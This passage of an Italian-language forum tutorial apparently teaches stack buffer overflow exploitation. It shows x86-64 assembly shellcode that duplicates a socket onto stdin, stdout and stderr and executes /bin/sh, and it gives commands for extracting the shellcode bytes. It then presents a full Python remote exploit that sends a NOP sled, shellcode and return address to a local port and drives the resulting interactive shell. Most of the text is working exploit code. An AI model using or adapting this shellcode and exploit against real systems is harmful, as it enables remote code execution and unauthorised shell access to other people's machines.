                mov rdi, rax		; mov rdi, rax  ; dec rdi
            
                ;; dup2 (s, 0); dup2(s,1); dup2(s,2)
                mov esi, 3			; Counter for loop
            loop:
                mov al, 0x21		; DUP2 (rax=0x21)
                syscall			; DUP2 (rax=0x21) rdi=oldfd (socket) rsi=newfd
                dec esi			; Decrease loop counter
                jnz loop			; Continue looping until esi is zero
            
                ;; exec (/bin/sh)
                xor rdi, rdi		; Clear rdi
                mov rax, 0x68732f6e69622f2f	; "//bin/sh" in little-endian
                push rax			; Push "/bin/sh" onto the stack
                mov rdi, rsp		; Move the address of "/bin/sh" into rdi
                xor rsi, rsi		; Clear rsi
                xor rdx, rdx		; Clear rdx
                mov al, 0x3b		; EXEC (rax=0x3b)
                syscall			; Execute "/bin/sh"

            Qui lo scopo è eseguire la shell /bin/sh, all'inizio si duplica file descriptor stdin (0) tramite syscall dup, per corrispondenza si usa il numero corrispondente a dup che è 33 (0x21 in esadecimale) facendo rimanere l'indice a 0.
            Il numero viene passato a 1 per ottenere l'ultimo file descriptor disponibile prima della duplicazione, poi viene tutto memorizzato su rdi.
            La syscall dup2 viene usata per duplicare il file descriptor (ottenuto prima) per tutti e tre gli stream di input/output (stdin, stdout e stderr).
            Tramite ciclo si richiama dup2 tre volte (per i rispettivi stream).
            Il ciclo termina quando l'indice su esi è 0.
            Con la syscall execve si avvia la shell (59 in esadecimale, 0x3b in rax).

            Estrazione e compilazione del codice:
            nasm -f elf64 -o rsh.o rsh.asm

            Ora otteniamo i dati binari:
            for i in $(objdump -d rsh.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

            Ecco il nostro buffer overflow, ora dovrete scrivere l'exploit vi lascio un semplice esempio in Python:

            #!/usr/bin/env python3
            import socket
            import select
            
            print("Remote Exploit Example")
            print("by 0x00pf for 0x00sec :)\n")
            
            addr = b"\x10\xdd\xff\xff\xff\x7f\x00\x00"
            off = 264
            
            shellcode = b"\x48\x31\xc0\x50\x50\x50\x5e\x5a\x50\x5f\xb0\x20\x0f\x05\x48\xff\xc8\x50\x5f\xb0\x21\x0f\x05\x48\xff\xc6\x48\x89\xf0\x3c\x02\x75\xf2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\x52\x5e\xb0\x3b\x0f\x05"
            
            nops = off - len(shellcode)
            payload = b"\x90" * nops + shellcode + addr
            
            plen = len(payload)
            slen = len(shellcode)
            print("SLED", nops, "Shellcode:", slen, "Payload size:", plen)
            
            socket_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            socket_fd.connect(('127.0.0.1', 9000))
            
            inputs = [socket_fd, socket.stdin]
            
            socket_fd.send(payload)
            socket_fd.recv(1024)
            
            timeout = 0.1
            flag = True  # Just to show a prompt
            
            while True:
                ready_to_read, _, _ = select.select(inputs, [], [], timeout)
                for ready in ready_to_read:
                    flag = True
                    if ready == socket_fd:
                        resp = socket_fd.recv(1024)
                        print(resp.decode(), end="")
                    else: 
                        line = input()
                        socket_fd.send(line.encode())
                else: 
                    if flag:
                        print("0x00pf]> ", end="")
                        flag = False

            Una volta eseguito l'exploit vi consiglio di usare netcat per il pentesting.

          Powered by: FreeFlarum.
          (remove this footer)